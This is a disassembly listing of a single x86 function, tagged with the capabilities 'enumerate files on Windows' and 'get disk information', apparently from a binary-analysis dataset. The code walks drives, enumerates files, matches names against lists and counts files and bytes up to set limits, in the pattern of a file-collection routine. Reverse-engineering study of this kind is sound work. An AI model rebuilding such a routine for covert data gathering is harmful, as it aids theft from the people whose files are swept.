Function at 0x41b8f0
Capabilities:
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x688
mov byte [ebp - 1], 1
and dword [ebp - 0x678], 0
jmp 0x41b913
mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
mov ecx, dword [0x431f64]
call fcn.004011f7
cmp dword [ebp - 0x678], eax
jge 0x41bc79
push dword [ebp - 0x678]
mov ecx, dword [0x431f64]
call fcn.00401ccc
push dword [eax]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 1
je 0x41b983
cmp dword [ebp - 0x67c], 4
je 0x41b983
cmp dword [ebp - 0x67c], 3
je 0x41b983
cmp dword [ebp - 0x67c], 0
je 0x41b983
jmp 0x41b906
push 0x427238
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x464], eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x464], 0xffffffff
jne 0x41b9cd
jmp 0x41b906
push dword [ebp - 0x678]
mov ecx, dword [0x431f64]
call fcn.00401ccc
push dword [eax]
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x426f7c
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x460]
and eax, 0x10
jne 0x41bb80
lea eax, [ebp - 0x674]
push eax
lea eax, [ebp - 0x670]
push eax
push dword [ebp + 8]
call fcn.0041b6ad
add esp, 0xc
movzx eax, al
test eax, eax
je 0x41babc
mov byte [ebp - 0x67d], 0
and dword [ebp - 0x684], 0
jmp 0x41ba5f
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
mov ecx, dword [0x431f70]
call fcn.004011f7
cmp dword [ebp - 0x684], eax
jge 0x41baa0
push dword [ebp - 0x674]
push dword [ebp - 0x684]
mov ecx, dword [0x431f70]
call fcn.00401ccc
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41ba9e
mov byte [ebp - 0x67d], 1
jmp 0x41baa0
jmp 0x41ba52
movzx eax, byte [ebp - 0x67d]
test eax, eax
jne 0x41babc
mov edx, dword [ebp - 0x674]
mov ecx, dword [0x431f70]
call fcn.00401cb4
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x678]
mov ecx, dword [0x431f64]
call fcn.00401ccc
push dword [eax]
push dword [ebp + 8]
call fcn.00401dae
add esp, 0x10
movzx eax, al
test eax, eax
je 0x41bb7b
push 0
push 0
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x670]
push eax
push 0x70243102
push 0x70243101
mov ecx, dword [ebp + 8]
call fcn.00412619
movzx eax, al
test eax, eax
je 0x41bb7b
push dword [ebp - 8]
push 0x433e20
mov ecx, dword [ebp + 8]
call fcn.004159a1
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x431f60]
add eax, dword [ebp - 0x440]
mov dword [0x431f60], eax
mov eax, dword [0x431f6c]
inc eax
mov dword [0x431f6c], eax
cmp dword [0x431f6c], 0x1b58
ja 0x41bb6e
cmp dword [0x431f60], 0xc800000
jbe 0x41bb7b
mov edx, 0x3840
mov ecx, dword [ebp + 8]
call fcn.00413b4b
jmp 0x41bc3d
push 0x427240
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x41bbac
push 0x427244
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41bbb1
jmp 0x41bc4d
and dword [ebp - 0x688], 0
jmp 0x41bbc7
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
mov eax, dword [ebp - 0x688]
cmp eax, dword [0x431f78]
jge 0x41bc14
push dword [ebp - 0x688]
mov ecx, 0x433ce4
call fcn.00401ccc
push dword [eax]
lea edx, [ebp - 0x670]
mov ecx, dword [ebp + 8]
call fcn.004134ac
movzx eax, al
test eax, eax
je 0x41bc02
mov byte [ebp - 1], 0
jmp 0x41bc14
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41bbba
movzx eax, byte [ebp - 1]
test eax, eax
je 0x41bc39
push 0
lea edx, [ebp - 0x670]
mov ecx, dword [ebp + 8]
call fcn.00413434
mov edx, eax
mov ecx, dword [0x431f70]
call fcn.00401cb4
mov byte [ebp - 1], 1
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x460]
push eax
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41b9cd
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x41b906
mov ecx, dword [0x431f70]
call fcn.00401ce5
movzx eax, al
test eax, eax
je 0x41bc8f
mov al, 1
jmp 0x41bc91
xor al, al
leave
ret